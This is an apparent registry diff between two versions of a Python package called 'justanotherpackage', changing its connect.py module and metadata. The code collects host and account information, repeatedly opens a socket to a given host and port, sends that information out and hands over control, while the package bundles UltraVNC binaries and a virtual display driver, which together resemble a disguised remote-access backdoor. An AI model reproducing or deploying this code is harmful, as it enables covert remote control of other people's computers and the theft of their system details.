justanotherpackage 0.1.5__py3-none-any.whl → 0.1.6__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -6,7 +6,6 @@ import ctypes
6
6
  import threading
7
7
  import requests
8
8
  from wmi import WMI
9
- import os
10
9
 
11
10
  def check_account_type():
12
11
  try:
@@ -37,37 +36,21 @@ def get_client_info():
37
36
  }
38
37
  return client_info
39
38
 
40
- def save_connection_info(PATH, HOST, PORT):
41
- if not os.path.exists(PATH):
42
- with open(PATH, 'w') as f:
43
- f.write(f"{HOST}:{PORT}\n")
44
-
45
- def get_connection_info(PATH):
46
- if os.path.exists(PATH):
47
- with open(PATH, 'r') as f:
48
- connection_info = f.readline().strip()
49
- HOST, PORT = connection_info.split(':')
50
- return HOST, int(PORT)
51
- else:
52
- return None, None
53
-
54
- def start_connection(PATH=None, HOST=None, PORT=None):
55
- if HOST is None and PORT is None:
56
- HOST, PORT = get_connection_info(PATH)
57
- if HOST and PORT:
58
- save_connection_info(PATH, HOST, PORT)
59
- while True:
60
- try:
61
- client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
62
- client_socket.connect((HOST, PORT))
63
- client_info = get_client_info()
64
- client_socket.sendall(str(client_info).encode('utf-8'))
65
- threading.Thread(target=handle_connection, args=(HOST, PORT)).start()
66
- handle_connection(client_socket)
67
- except:
68
- time.sleep(5)
69
- finally:
70
- client_socket.close()
39
+ def start_connection(HOST, PORT):
40
+ while True:
41
+ try:
42
+ client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
43
+ client_socket.connect((HOST, PORT))
44
+ client_info = get_client_info()
45
+ client_socket.sendall(str(client_info).encode('utf-8'))
46
+ print(f"{client_info} sent to: {HOST}:{PORT}")
47
+ threading.Thread(target=handle_connection, args=(HOST, PORT)).start()
48
+ handle_connection(client_socket)
49
+ except Exception as e:
50
+ print(e)
51
+ time.sleep(5)
52
+ finally:
53
+ client_socket.close()
71
54
 
72
55
  def handle_connection(client_socket):
73
56
  try:
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.1.5
3
+ Version: 0.1.6
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -1,5 +1,5 @@
1
1
  justanotherpackage/__init__.py,sha256=r0rWIFMfaD0Y2XGViT_OZXY4dIk155FtyS0zsWVW7FE,37
2
- justanotherpackage/connect.py,sha256=66zlDSngIeg5xgr4a8yohSNUy1Wdud07HtJpo2CA0m4,2454
2
+ justanotherpackage/connect.py,sha256=VBER9Lmdksf9IlkLQE-OYL2I_YhrRflQrITmnuW_R8E,1876
3
3
  justanotherpackage/core.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
4
4
  justanotherpackage/vnc/SecureVNCPlugin.dsm,sha256=-nHLmtiKMdeYEYOtOTmFGTzPnDa_xe51z6KM2l1ONnI,2302408
5
5
  justanotherpackage/vnc/UltraVNC.ini,sha256=gPymSJUXr65PgHPJ-99bdmp7pEsTgdn5PnO14IG8hXU,1409
@@ -10,7 +10,7 @@ justanotherpackage/vnc/winvnc.exe,sha256=P7OO77jbTVK-Qo-syKJCmXqyrVio0ImAp2iMm_C
10
10
  justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll,sha256=_52Pf8LD9dCvr2926H1B_uq_VPrL4m3FlmGniDDzKXI,47744
11
11
  justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf,sha256=9hXCZOGgSloYxiwIyruevo922WSwShERafdskDbyYN0,3890
12
12
  justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat,sha256=EQXgWZOrTqjv1kdf_rggkbphOH4tT1Ma5cYJfpv1MNM,8560
13
- justanotherpackage-0.1.5.dist-info/METADATA,sha256=KiH_UOPsBRaA_Ad7crgv24GB6Jf_n6BuzbHPdDrPP0Y,115
14
- justanotherpackage-0.1.5.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
15
- justanotherpackage-0.1.5.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
16
- justanotherpackage-0.1.5.dist-info/RECORD,,
13
+ justanotherpackage-0.1.6.dist-info/METADATA,sha256=Nn0TAOmjzKd5jMxWBjS-OV_IKmt2odlt_NrdNYOjrIk,115
14
+ justanotherpackage-0.1.6.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
15
+ justanotherpackage-0.1.6.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
16
+ justanotherpackage-0.1.6.dist-info/RECORD,,